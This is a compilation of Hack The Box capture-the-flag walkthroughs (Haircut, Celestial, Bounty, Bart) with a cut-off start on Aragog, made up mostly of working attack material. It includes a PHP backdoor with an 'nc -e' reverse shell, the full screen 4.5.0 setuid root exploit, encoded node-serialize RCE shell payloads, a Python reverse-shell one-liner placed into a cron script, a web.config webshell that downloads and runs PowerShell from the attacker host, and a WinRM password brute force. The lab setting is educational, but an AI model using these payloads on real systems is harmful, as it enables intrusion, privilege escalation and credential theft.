HTB – Haircut

Hello friends!! Today we are going to solve another CTF challenge “Haircut” which is categories as retired lab presented by Hack the Box for making online penetration practices. Solving challenges in this lab is not that much easy until you don’t have some knowledge of WAPT. Let start and learn how to analyse any vulnerability in a network then exploit it for retrieving desired information.

Level: Intermediate

Task: find user.txt and root.txt file on victim’s machine.

Since these labs are online accessible therefore they have static IP. The IP of Haircut is 10.10.10.24 so let’s initiate with nmap port enumeration.

From given below image, you can observe we found port 22 and 80 are open in victim’s network.

Knowing port 80 is open to victim’s network we preferred to explore his IP in a browser and the following image as shown below.

Then I preferred to use dirbuster tool and chose directory list 2-3 medium.txt file for directory brute force attack on http://10.10.10.24 for PHP file extension.

As a result, it found uploads directory with 403 response and an exposed.php file with 200 ok response.

When we explored http://10.10.10.24/exposed.php we found a search page for finding the location of any hairdresser’s.

  • Visit http://10.10.10.24/exposed.php
  • You will find it executes a curl script behind.
  • There’s folder called /uploads available. Let’s upload our paylaod here.
  • Without wasting time I used my PHP backdoor puck.php
http://10.10.14.28/puck.php -o uploads/puck.php
  • Execute the payload by visiting http://10.10.15.16/uploads/payload.php

Now we need to transfer our backdoor file to target system therefore first we need to run python server on port 80 using the following command.

python -m SimpleHTTPServer 80

 

 

As puck.php file is successfully transferred into target’s system but we need to execute that file for getting reverse connection, therefore, I simply run following the path in a web browser.

http://10.10.10.24/uploads/puck.php?puck=nc -e /bin/sh 10.10.14.28 9876

After executing uploaded backdoor file come back to the netcat listener

D:\>nc -lvp 9876
listening on [any] 9876 ...
10.10.10.24: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.10.14.28] from (UNKNOWN) [10.10.10.24] 46564: NO_DATA
ls
bounce.jpg
puck.php
python3 -c 'import pty;pty.spawn("/bin/bash")'

 

Now let’s finished the task by grabbing user.txt and root.txt file. First I move into home directory and check available files and directories inside it.

here I got a directory maria and after exploring it we found so many files and directory, at last I fetch user.txt file from inside /maria/Desktop/ and use cat command for reading.

our 1st challenges finished successfully now move for 2ndchallenge.

Then using the following command we got all files and directories having root permission.

Here I notice /usr/bin/screen-4.5.0 now let’s check its exploit if available.

In a new terminal, we look for any exploit present in exploitdb for screen 4.5.0 with help of searchsploit.

From given below image you can observe the highlighted exploit 41154.sh which is a shell script for local privilege escalation.

When I didn’t find any appropriate method to execute this shell script for post exploitation then I go with manual compilation and review its code using cat command.

If you will notice following code then you will observe this script is written in C language and we have divided it into three part for manual compilation.

  • Copy Yellow highlighted the code and past it in a text document and save it as libhax.c
  • Copy Orange highlighted the code and past it in a text document and save it as rootshell.c

At last copy remaining code and past it in a text document and save it as 41154.sh

From given below image you can see I have pasted above copied inside rootshell.c

#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}

From given below image you can see I have pasted above copied inside libhax.c

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}

From given below image you can see I have paste above remaining copied inside 41154.sh and save all three text document on the desktop in a new folder shell.

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell

Let’s compile our C program file manually in our local system using gcc as given below.

Similarly compile rootshell.c file through the following command.

From given below image you can see all files we have stored in our folder shell, now let’s upload them into target’s system through our previous meterpreter session.

Since we /tmp has read and write permission, therefore, we are uploading all files in /tmp directory by executing following command.

Again for spawning proper tty shell of target’s system, we need to import python file, therefore, I run following command inside meterpreter shell

Open 41154.sh file as it contains a command for getting root privilege as shown below.

Execute following command and get the root.

Here I got root.txt file now using cat command let open this file and finished our 2nd challenge.

$ /tmp/rootshell
/tmp/rootshell
# id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
# cd /root
cd /root
# ls
ls
root.txt
# cat root.txt
cat root.txt
4c---------51
#

Wonderful!! We had completed the task and hacked this box.

Author: AArti Singh

HTB – Celestial

Exploiting Node.js Deserialization bug for Remote Code Execution (CVE-2017-5941)

The eval() function is a common function of nodejs that is easy to exploit if data passed to it not filtered correctly. On review source code of some projects in nodejs and researching nodejs application security. I found this function used on some project that it is vulnerable to exploit.

For source code for this tutorial please get from link. You need to install Nodejs and Express first.

To start code run: node index.js

This first part is untilize feature unserialize of a nodejs module. The exploit method happened with PHP, Java… as well. I will show the exploit on next tutorials for some of these languages.

We will use a nodejs module is node-serialize on this example. Ok Let’s make an analysis in depth on it. This module contains an eval() function that may be exploited if we do not check data passed to it correctly.

The functioneval() evaluates JavaScript code represented as a string as documented.

Look at line 74 of module source code we have.

if(obj[key].indexOf(FUNCFLAG) ===0) {
     obj[key] =eval(‘(‘+obj[key].substring(FUNCFLAG.length) +’)’);
}
The code contain this line loop through object’s properties, if it is a function then eval is called. So let’s  try to inject some javascript code on it.
1
2
3
4
5
6
7
8
9
10
11
12
var obj = {
name:'hd7exploit',
say:function() {
return'Hi '+this.name
}
};
var objS = serialize.serialize(obj)
console.log(objS);
typeof objS==='string'
var unserialize_obj=serialize.unserialize(objS)
console.log(unserialize_obj)
console.log(unserialize_obj.say())
 We have a string like this after serialize:
{“name”:”hd7exploit”,”say”:”_$$ND_FUNC$$_function () {\n      return ‘Hi ‘ + this.name\n   }”} 

On unserialize, it loop through properties of this object created from this string. Because say is a function so we have : (function () {return ‘Hi ‘ + this.name})  passed to eval -> eval( (function () {return ‘Hi ‘ + this.name})) 

Let try this code with eval((function () { console.log (‘Hi )}) on a web browser.

“Hi” is not shown on console log of course. Because the function is not called anywhere.

We need to execute code when the object is processed by function unserialize. Because we did know how the object of the application is and how it processed later. So we need to pass code to eval and it must be executed immediately to show Hi.

And Immediately-Invoked Function Expression (IIFE) come to resolve this.

An IIFE is an anonymous function that is created and then immediately invoked. It’s not called from anywhere else (hence why it’s anonymous), but runs just after being created.

Let try with this method  eval((function () {console.log (‘Hi )})()).
Run again and “Hi” is shown.

We want to get a shell so let’s try to call exec to run some commands on a target system.

1
2
3
4
5
6
7
var obj = {
run :function(){
require('child_process').exec('ls -la', function(error, stdout, stderr) { console.log(stdout) });
}(),
}
var objS=serialize.serialize(obj)
var unserialize_obj=serialize.unserialize(objS)

Now we have a string

{“run”:”_$$ND_FUNC$$_function (){\n      require(‘child_process’).exec(‘ls -la’, function(error, stdout, stderr) { console.log(stdout) });\n    }”}

And (function (){require(‘child_process’).exec(‘ls -la’, function(error, stdout, stderr) { console.log(stdout) });}) passed to eval()

Then let’s try with () on the end.

{“run”:”_$$ND_FUNC$$_function (){require(\’child_process\’).exec(\’ls -la\’, function(error, stdout, stderr) { console.log(stdout) });}()“}

Great, It worked, We can inject code with our controlled payload.

Next to encode this payload. For easy and quick to create payload. I created a small script to generate node shell and some commands to test. get the source code at node_shell.py.

Look at some options the script provided:

  1. Let create a command “ls -la”

Then pass this data with request
1
http://localhost:3000/exploit/unserialize/{"run": "_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,32,32,32,32,32,32,32,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,40,39,108,115,32,45,108,97,39,44,32,102,117,110,99,116,105,111,110,40,101,114,114,111,114,44,32,115,116,100,111,117,116,44,32,115,116,100,101,114,114,41,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,101,114,114,111,114,41,10,32,32,32,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,115,116,100,111,117,116,41,10,32,32,32,32,32,32,32,32,125,41,10,32,32,32,32,32,32,32,32))}()"}

Check it.

Oh, It worked.

2. Let’s try with reverse shell payload

Run Netcat listen on port 4444 on our machine, then send a crafted request to vuln server.

Check netcat console. I worked as well.

3. Let’s try with bind_shell payload

Then pass it with request

1
http://localhost:3000/exploit/serialize/%7B%22run%22:%20%22_$$ND_FUNC$$_function%20()%7Beval(String.fromCharCode(10,32,32,32,32,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,32,32,32,32,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,32,32,32,32,80,79,82,84,61,34,52,52,52,52,34,59,10,32,32,32,32,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,32,32,32,32,118,97,114,32,115,101,114,118,101,114,32,61,32,110,101,116,46,99,114,101,97,116,101,83,101,114,118,101,114,40,102,117,110,99,116,105,111,110,32,40,99,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,32,91,39,45,105,39,93,41,59,10,32,32,32,32,32,32,32,32,99,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,115,101,114,118,101,114,46,108,105,115,116,101,110,40,80,79,82,84,41,59,10,32,32,32,32))%7D()%22%7D

Check listen ports on the vuls server. shell bind port 4444.

Let’s connect to it. It worked as well.

Note : Before forwarding the modified content in Burpsuite , we should setup the netcat listener in Kali machine and keep it ready .

In order to access proper TTY shell , we had imported python one line script by typing following:

Hurray !! We got into the reverse shell of the target machine

Lets have a quick look at the contents

ls

We navigated to many folders , however found interesting stuff in the Documents folder

Here we can see that there is a user.txt file , lets read it contents

Finally , we got our first flag i.e  output of user.txt file

Now upon further navigation , we also opened the script.py file because of our curiosity to examine the contents of the same . If we do cat script.py , the output displays as print “Script is running”

print “Script is running..”

Note : This is an indication that we may need to examine the log files to see which script is running and if it is running on a periodic basis

The best step to move forward is to examine the contents of the log directory in var

Let’s see the files listed over here

As we can see that there are multiple syslog files being generated in this folder . The old logs are being zipped and numbered accordingly .The latest logs are always stored in the log file named syslog .So we will open the contents of the syslog file and try to find out if there is something interesting going on.

We will notice that there is a cronjob running every 5 minutes , which is copying the output of script.py file (in the home/sun/Documents folder) to the output.txt file

Now we can try to put our own content in the script.py file . For this let’s generate a Reverse shell with the following command

Copy the contents of msfvenom output and save it on Kali Desktop named as script.py ,which will be further used in the subsequent steps

Now run the web server on the Kali machine

 

Lets read the contents of the script.py .The output displays as print “Script is running..”

Lets move this original python script (script.py) by renaming it to script.py.originalas shown below

Download our newly created script.py from the Kali machine Desktop

 

Open a netcat reverse shell

In order to access proper TTY shell , we had imported python one line script by typing following:

Hurray!! We got into the root

or we can simply echo a python reverse shell on script.py, setup another netcat listener, and wait for the cron job to trigger.

root@kali:~/Desktop# nc -nlvp 1234
listening on [any] 1234 ...
sun@sun:~/Documents$ echo "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.28\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);" > script.py

After a few minutes of waiting, our netcat listener should receive a reverse shell connection. .

root@kali:~/Desktop# nc -nlvp 31337
listening on [any] 31337 ...
connect to [10.10.14.28] from (UNKNOWN) [10.10.10.85] 49392
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# cd /root
# ls
root.txt
script.py
# cat root.txt
{FLAG_NOT_SHOWED}
root@sun:~# crontab -l
crontab -l
# Edit this file to introduce tasks to be run by cron.
#
# --snip--
# 
# m h dom mon dow command
*/5 * * * * python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py
root@sun:~#

Reference

1. https://github.com/luin/serialize

2. https://www.hacksparrow.com/difference-between-spawn-and-exec-of-node-js-child_process.html

3. http://benalman.com/news/2010/11/immediately-invoked-function-expression/

4. https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/

HTB – Bounty

Today we are going to solve another CTF challenge “Bounty”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.

Level: Medium

Task: To find user.txt and root.txt file

Let’s start off with our basic nmap command to find out the open ports and services.

C:\Users\jacco>nmap -sC -sV 10.10.10.93
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-15 14:32 W. Europe Standard Time
Nmap scan report for 10.10.10.93
Host is up (0.026s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Bounty
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.93 seconds

When visiting the site, we see nothing but an image of a wizard:

I checked the source code of the page, but unfortunately there wasn’t anything interesting there. Since we have nothing else to go on, I started some dirb scans.

We already know that the server is running Microsoft IIS, so I decided to try an IIS-specific wordlist on the page (the following dirb scans have been condensed for clarity):

I then tried to access these two directories, but was given 403 errors both times.

After doing a bit more research on the aspnet_client folder structure, I discovered that we could work out the system version by fuzzing various system_web directories. As such, I saved the list found here, and used dirb to try them all:

---- Scanning URL: http://10.10.10.93/aspnet_client/system_web/ ----
==> DIRECTORY: http://10.10.10.93/aspnet_client/system_web/2_0_50727/
Thanks to this, we know for sure that the server is running Microsoft IIS 2.0.50727. Whilst this might not be useful, it’s always good to enumerate where we can.

That being said, we still get a 403 when trying to access this new-found directory, and so I swapped over to a bigger wordlist:

george@kali:~/htb/bounty$ dirb http://10.10.10.93/ /usr/share/wordlists/dirb/common.txt -r
PS C:\inetpub\wwwroot> type CS.aspx.cs
using System;
using System.Data;
using System.Configuration;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;

public partial class _Default : System.Web.UI.Page
{
    protected void Page_Load(object sender, EventArgs e)
    {

    }
    protected void btnUpload_Click(object sender, EventArgs e)
    {
        String path = Server.MapPath("~/UploadedFiles/");
        string[] validFileTypes={"config","gif","png","jpg","jpeg","doc","docx","xls","xlsx"};
        string ext = System.IO.Path.GetExtension(FileUpload1.PostedFile.FileName);
        bool isValidFile = false;
        for (int i = 0; i < validFileTypes.Length; i++)
        {
            if (ext == "." + validFileTypes[i] )
            {
                isValidFile = true;
                break;
            }
        }
        if (!isValidFile)
        {
            Label1.ForeColor = System.Drawing.Color.Red;
            Label1.Text = "Invalid File. Please try again";
        }
        else
        {
            try
            {
                FileUpload1.PostedFile.SaveAs(path
                    + FileUpload1.FileName);
                    Label1.ForeColor = System.Drawing.Color.Green;
                    Label1.Text = "File uploaded successfully.";
            }
            catch (Exception ex)
            {
                Label1.Text = "File could not be uploaded.";
            }

        }
    }
}
PS C:\inetpub\wwwroot> dir


    Directory: C:\inetpub\wwwroot


Mode                LastWriteTime     Length Name
----                -------------     ------ ----
d----         5/30/2018   4:44 AM            aspnet_client
d-r--         3/15/2019   3:51 PM            UploadedFiles
-a---         5/30/2018  11:58 PM       1582 CS.aspx.cs
-a---         5/31/2018   6:46 AM        630 iisstart.htm
-a---         5/30/2018  11:35 PM     780732 merlin.jpg
-a---         5/31/2018  12:12 AM        735 transfer.aspx
-a---         5/30/2018   4:14 AM     184946 welcome.png


PS C:\inetpub\wwwroot> type transfer.aspx
<%@ Page Language="C#" AutoEventWireup="true"  CodeFile="CS.aspx.cs" Inherits="_Default" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head id="Head1" runat="server">
    <title>Secure File Transfer</title>

</head>
<body>
    <form id="form1" runat="server">
    <div>
        <asp:FileUpload ID="FileUpload1" runat="server" />
        <asp:Button ID="btnUpload" runat="server" Text="Upload"
           OnClientClick = "return ValidateFile()"  OnClick="btnUpload_Click"  />
        <br />
        <asp:Label ID="Label1" runat="server" Text="" />
    </div>
    </form>
</body>
</html>
PS C:\inetpub\wwwroot>

It looks like we’ve finally found something interesting!

I took a look inside of the uploadedfiles directory, but received another 403 error. However, since this directory exists, we can assume that there is a webpage somewhere where we can upload files.

I then started my final dirb scan on the website in an attempt to find this upload page. Seeing as we know that the server is running Microsoft IIS, I decided to scan for only .aspx files, because they’re very common in systems like this.

george@kali:~/htb/bounty$ dirb http://10.10.10.93/ /usr/share/wordlists/dirb/common.txt -r -X .aspx
+ http://10.10.10.93/transfer.aspx (CODE:200|SIZE:974)

It looks like we might have now found the upload page:

http://10.10.10.93/transfer.aspx

Let’s now try uploading test.aspx:

It looks like we’re going to have to either try fuzzing the upload, or enumerate further.

Since fuzzing is never fun, I decided to try and find some more IIS-related file extensions.

Fortunately, I just had to google “microsoft iis file extensions” to find this forum page, which says the following:

We are serving up files for our own application for download from web servers, including IIS. One such file has the .config extension. Turns out that IIS won’t serve this because it thinks it’s a config file of its own.

Let’s now try uploading a .config file, to see if that’s allowed:

It looks like we can successfully upload files! After doing some research on .config files, I came across this article which outlines an easy attack that we can perform (provided that the server executes the file). We’ll do something similar to the technique used in PHP reverse shells, in that we’ll upload the web.config asp file, and the server should interpret whatever we write and show us the output.

We can perform an initial test by uploading a script found on that same website, which should simply add 3 and output the result:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" /> 
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
-->3<!--
-->

Now that our POC command execution has worked, let’s make our web.config file more useful.

My final payload has been bodged together from different scripts found online, with the majority of the “good” code taken from here. So, the webshell looks as follows:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" /> 
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<%@ Language=VBScript %>
<%
call Server.CreateObject("WSCRIPT.SHELL").Run("cmd.exe /c powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.14.20/puckieshell443.ps1')")
%>

then serve the payload

c:\Python37>python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.93 - - [15/Mar/2019 10:06:45] "GET /puckieshell443.ps1 HTTP/1.1" 200 -

then execute the uploaded payload with

c:\users\jacco\curl http://10.10.10.93/uploadedfiles/web.config

and catch the shell

c:\Users\jacco>nc -lvp 443
listening on [any] 443 ...
10.10.10.93: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.93] 49158: NO_DATA
Windows PowerShell running as user BOUNTY$ on BOUNTY
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\windows\system32\inetsrv>whoami
bounty\merlin

Now with shell, I can grab user.txt. Strangely, it’s not present when I look for it:

PS C:\users\merlin\desktop> ls
PS C:\users\merlin\desktop>

It turns out that the file is there, it’s just hidden. If I re-run Get-ChildItem (or gci or ls) with the -Force flag, it shows up:

PS C:\users\merlin\desktop> gci -force


    Directory: C:\users\merlin\desktop


Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-a-hs         5/30/2018  12:22 AM        282 desktop.ini
-a-h-         5/30/2018  11:32 PM         32 user.txt

PS C:\users\merlin\desktop> cat user.txt
e29*****a2f

Escalation Method 1: Lonely Potato

I’ll grab a copy of the the compiled lonelypotato binary and upload it to target, along with a bat script that will start another Nishang shell:

1st serve the payloads

c:\Python37>python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.93 - - [15/Mar/2019 14:58:07] "GET /lp.exe HTTP/1.1" 200 -
10.10.10.93 - - [15/Mar/2019 15:27:58] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -

then run

PS C:\users\merlin\appdata\local\temp> (new-object net.webclient).downloadfile('http://10.10.14.20/lp.exe', 'C:\users\merlin\appdata\local\temp\lp.exe')
PS C:\users\merlin\appdata\local\temp> (new-object net.webclient).downloadfile('http://10.10.14.20/rev.bat', 'C:\users\merlin\appdata\local\temp\rev.bat')

PS C:\users\merlin\appdata\local\temp> type rev.bat
powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.14.20/Invoke-PowerShellTcp.ps1')

And Now run below, and get a shell:

PS C:\users\merlin\appdata\local\temp> C:\users\merlin\appdata\local\temp\lp.exe * C:\users\merlin\appdata\local\temp\rev.bat
CreateIlok: 0 0
CreateDoc: 0 0
connect sock
start RPC  connection
COM -> bytes received: 116
RPC -> bytes Sent: 116
RPC -> bytes received: 84
COM -> bytes sent: 84
COM -> bytes received: 24
RPC -> bytes Sent: 24
RPC -> bytes received: 136
COM -> bytes sent: 136
COM -> bytes received: 135
RPC -> bytes Sent: 135
RPC -> bytes received: 216
COM -> bytes sent: 216
COM -> bytes received: 158
RPC -> bytes Sent: 158
RPC -> bytes received: 56
COM -> bytes sent: 56
CoGet: -2147022986 0
[+] authresult != -1
[+] Elevated Token tye:2
[+] DuplicateTokenEx :1  0
[+] Duped Token type:1
[+] Running C:\users\merlin\appdata\local\temp\rev.bat sessionId 1
[+] CreateProcessWithTokenW OK
Auth result: 0
Return code: 0
Last error: 0
C:\Users\jacco>nc -lvp 53
listening on [any] 53 ...
10.10.10.93: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.93] 49183: NO_DATA
Windows PowerShell running as user BOUNTY$ on BOUNTY
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>whoami
nt authority\system
PS C:\users\administrator\desktop> type root.txt
c83*****5ea

Author : Jacco Straathof

HTB – Bart

I learned a new WinRM trick in the process.

Enumeration

Start with a quick nmap scan and also a full scan once the quick one is completed.

root@kali:~/htb/bart# nmap -sV 10.10.10.81

Starting Nmap 7.60 ( https://nmap.org )
Nmap scan report for 10.10.10.81
Host is up (0.071s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

root@kali:~/htb/bart# nmap -p- 10.10.10.81 -T4

Starting Nmap 7.60 ( https://nmap.org ) 
Nmap scan report for 10.10.10.81
Host is up (0.073s latency).
Not shown: 65533 filtered ports
PORT     STATE SERVICE
80/tcp   open  http
5985/tcp open  wsman

Nmap done: 1 IP address (1 host up) scanned in 98.49 seconds

Only two ports to work with, port 5985 is for WinRM so hopefully we’ll be able to leverage that if we find some credentials.

If we check out the web server in a browser we get a 302 response, however we can see the virtual host name in the Location header.

302

If we add an entry in our /etc/hosts file for that domain name and IP we are able to browse the site.

Scrolling down on the page we find some possible users to target.

team

Even more interesting is if we check the source code of the page we see another user named Harvey, who’s been commented out.

source

The user’s email addresses in the mailto field is probably going to reflect their username on the system if it exists. So we have:

s.brown@bart.local
d.simmons@bart.htb
r.hilton@bart.htb
h.potter@bart.htb

To help brute force WinRM we can use the metasploit module auxiliary/scanner/winrm/winrm_login.

We’ll start with h.potter since he’s listed as a developer, so there’s a good chance he has credentials on the box.

msf > use auxiliary/scanner/winrm/winrm_login
msf auxiliary(scanner/winrm/winrm_login) > show options

Module options (auxiliary/scanner/winrm/winrm_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   DOMAIN            WORKSTATION      yes       The domain to use for Windows authentification
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                             yes       The target address range or CIDR identifier
   RPORT             5985             yes       The target port (TCP)
   SSL               false            no        Negotiate SSL/TLS for outgoing connections
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   URI               /wsman           yes       The URI of the WinRM service
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts
   VHOST                              no        HTTP server virtual host

msf auxiliary(scanner/winrm/winrm_login) > set RHOSTS 10.10.10.81
RHOSTS => 10.10.10.81
msf auxiliary(scanner/winrm/winrm_login) > set USERNAME h.potter
USERNAME => h.potter

msf auxiliary(scanner/winrm/winrm_login) > set PASS_FILE /usr/share/wordlists/fasttrack.txt
PASS_FILE => /usr/share/wordlists/fasttrack.txt
 
msf auxiliary(scanner/winrm/winrm_login) > set DOMAIN BART.HTB
DOMAIN => BART.HTB
msf auxiliary(scanner/winrm/winrm_login) > run
~~~
~~~
~~~
[+] 10.10.10.81:5985 - Login Successful: BART.HTB\h.potter:Password1
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Yes! We can see that Mr. Potter has some weak credentials. Trying to use another metasploit module leveraging these credentials to get code execution we are unsuccessful and are just presented with 500 errors in response. This is due to metasploit’s winrm modules not currently supporting encryption. By default WinRM requires encryption, unless specifically disabled by the Administrator.

So to aid us we can use the Ruby winrm package.

https://github.com/WinRb/WinRM

We can easily install and configure a script similar to the example shown on the readme.

root@kali:~/htb/bart# gem install -r winrm

Ruby script contents:

require 'winrm'

conn = WinRM::Connection.new( 
  endpoint: 'http://10.10.10.81:5985/wsman',
  user: 'BART.HTB\h.potter',
  password: 'Password1',
)

command=""

conn.shell(:powershell) do |shell|
    until command == "exit\n" do
        print "PS > "
        command = gets        
        output = shell.run(command) do |stdout, stderr|
            STDOUT.print stdout
            STDERR.print stderr
        end
    end    
    puts "Exiting with code #{output.exitcode}"
end
root@kali:~/htb/bart# ruby winrm_shell.rb 
PS > whoami
bart\h.potter
PS > hostname
BART

We are in!

Privilege Escalation

There are a lot of things to get wrapped up in and lost for privilege escalation here, but keeping it simple and following a methodology checking simple things first allows us to easily escalate here.

PS > Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*"

DefaultDomainName DefaultUserName DefaultPassword                 
----------------- --------------- ---------------                 
DESKTOP-7I3S68E   Administrator   3130438f31186fbaf962f407711faddb

And we can see that the Administrator’s credentials were configured in the AutoLogon registry settings.

So now all we have to do is edit our winrm_shell.rb and add in the Administrator credentials in place of h.potter’s.

require 'winrm'

conn = WinRM::Connection.new( 
  endpoint: 'http://10.10.10.81:5985/wsman',
  user: 'BART.HTB\Administrator',
  password: '3130438f31186fbaf962f407711faddb',
)

command=""

conn.shell(:powershell) do |shell|
    until command == "exit\n" do
        print "PS > "
        command = gets        
        output = shell.run(command) do |stdout, stderr|
            STDOUT.print stdout
            STDERR.print stderr
        end
    end    
    puts "Exiting with code #{output.exitcode}"
end
root@kali:~/htb/bart# ruby winrm_shell.rb 
PS > whoami
bart\administrator
how2view configured listnener:
C:\Windows\system32>winrm e winrm/config/listener
Listener
Address = *
Transport = HTTP
Port = 5985
Hostname
Enabled = true
URLPrefix = wsman
CertificateThumbprint
ListeningOn = 127.0.0.1, 192.168.178.200, ::1, fe80::5efe:192.168.178.200%14
, fe80::7537:404:1961:4147%12
Tags: hackthebox

HTB – Aragog

Today we are going to solve another CTF Challenge “Aragog”. This VM is also developed by Hack the Box, Aragog is a Retired Lab and there are multiple ways to breach into this VM.

Level: Medium

Task: Find the user.txt and root.txt in the vulnerable Lab.

Let’s Begin!!

